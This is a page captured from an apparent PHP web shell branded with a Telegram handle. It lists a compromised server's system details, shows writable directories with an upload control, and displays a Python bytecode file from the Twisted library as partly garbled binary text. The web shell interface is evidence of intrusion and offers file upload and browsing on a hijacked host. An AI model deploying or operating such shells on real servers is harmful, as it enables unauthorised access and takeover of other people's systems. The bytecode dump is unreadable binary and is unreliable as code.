https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/lib/python3/dist-packages/twisted/pair/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python3/dist-packages/twisted/pair/__pycache__/rawudp.cpython-310.pyc
o

�b�@s^dZddlZddlmZddlmZddlmZGdd�d�Zeej	�Gdd	�d	ej
��ZdS)
z1
Implementation of raw packet interfaces for UDP
�N)�implementer)�protocol)�rawc@seZdZdd�ZdS)�	UDPHeadercCs(t�d|dd��\|_|_|_|_dS)Nz!HHHH�)�struct�unpack�source�dest�len�check)�self�data�r�5/usr/lib/python3/dist-packages/twisted/pair/rawudp.py�__init__s�zUDPHeader.__init__N)�__name__�
__module__�__qualname__rrrrrrsrc@s$eZdZdd�Zdd�Zdd�ZdS)�RawUDPProtocolcCs
i|_dS)N)�	udpProtos)r
rrrrs
zRawUDPProtocol.__init__cCs\t|tj�s
td��|dkrtd��|dkrtd��||jvr$g|j|<|j|�|�dS)Nz6Added protocol must be an instance of DatagramProtocolrz'Added protocol must be positive or zeroiz"Added protocol must fit in 16 bits)�
isinstancer�DatagramProtocol�	TypeErrorr�append)r
�num�protorrr�addProtos

zRawUDPProtocol.addProtocCs<t|�}|j�|jd�D]}|�|dd�||jf�qdS)Nrr)rr�getr
�datagramReceivedr	)r
r�partialr	r
r�version�ihl�tos�tot_len�fragment_id�fragment_offset�
dont_fragment�more_fragments�ttl�headerrrrrr)s�zRawUDPProtocol.datagramReceivedN)rrrrrrrrrrrsr)�__doc__r�zope.interfacer�twisted.internetr�twisted.pairrr�IRawDatagramProtocol�AbstractDatagramProtocolrrrrr�<module>s

https://t.me/RX1948 - 2025